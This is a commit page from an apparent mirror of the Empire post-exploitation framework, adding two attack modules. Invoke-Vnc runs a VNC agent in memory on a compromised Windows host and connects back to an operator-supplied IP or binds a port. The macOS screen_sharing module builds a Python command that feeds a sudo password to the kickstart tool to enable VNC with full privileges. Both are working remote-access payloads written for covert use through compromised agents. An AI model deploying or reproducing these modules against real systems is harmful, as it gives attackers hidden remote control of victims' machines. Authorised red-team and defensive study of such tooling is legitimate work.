infosecn1nja
/
Empire
mirror of https://github.com/infosecn1nja/Empire.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #452 from n00py/2.0_beta 

VNC Inject
mdns
Chris Ross 2017-04-09 16:08:41 -04:00 committed by GitHub
parent 3cafd25f51 b8f0bb2bbd
commit 287ecd3f0a
3 changed files with 2918 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2730
data/module_source/management/Invoke-Vnc.ps1 Normal file
View File

File diff suppressed because one or more lines are too long

102
lib/modules/powershell/management/vnc.py Normal file
View File

@ -0,0 +1,102 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Vnc',
'Author': ['@n00py'],
'Description': ('Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/artkond/Invoke-Vnc'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Port' : {
'Description' : 'Port to Use.',
'Required' : True,
'Value' : '5900'
},
'Password' : {
'Description' : 'Password to use.',
'Required' : True,
'Value' : 'password'
},
'ConType' : {
'Description' : 'Connection type, choose \"bind\" or \"reverse\".',
'Required' : True,
'Value' : 'bind'
}
,
'IpAddress' : {
'Description' : 'IP Address to use for reverse connection.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in th Invoke-Vnc.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-Vnc.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
script += "\nInvoke-Vnc"
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
return script

86
lib/modules/python/management/osx/screen_sharing.py Normal file
View File

@ -0,0 +1,86 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'ScreenSharing',
# list of one or more authors for the module
'Author': ['@n00py'],
# more verbose multi-line description of the module
'Description': ('Enables ScreenSharing to allow you to connect to the host via VNC.'),
# True if the module needs to run in the background
'Background' : False,
# File extension to save the file as
'OutputExtension' : "",
# if the module needs administrative privileges
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : True,
# the module language
'Language' : 'python',
# the minimum language version needed
'MinLanguageVersion' : '2.6',
# list of any references/other comments
'Comments': ['https://www.unix-ninja.com/p/Enabling_macOS_screen_sharing_VNC_via_command_line']
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to execute module on.',
'Required' : True,
'Value' : ''
},
'Password' : {
'Description' : 'User password for sudo.',
'Required' : True,
'Value' : ''
},
'VNCpass' : {
'Description' : 'Password to use for VNC',
'Required' : True,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
password = self.options['Password']['Value']
vncpass = self.options['VNCpass']['Value']
enable = "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -clientopts -setvnclegacy -vnclegacy yes -clientopts -setvncpw -vncpw %s -restart -agent -privs -all" % (vncpass)
script = 'import subprocess; subprocess.Popen("echo \\"%s\\" | sudo -S %s", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' % (password, enable)
return script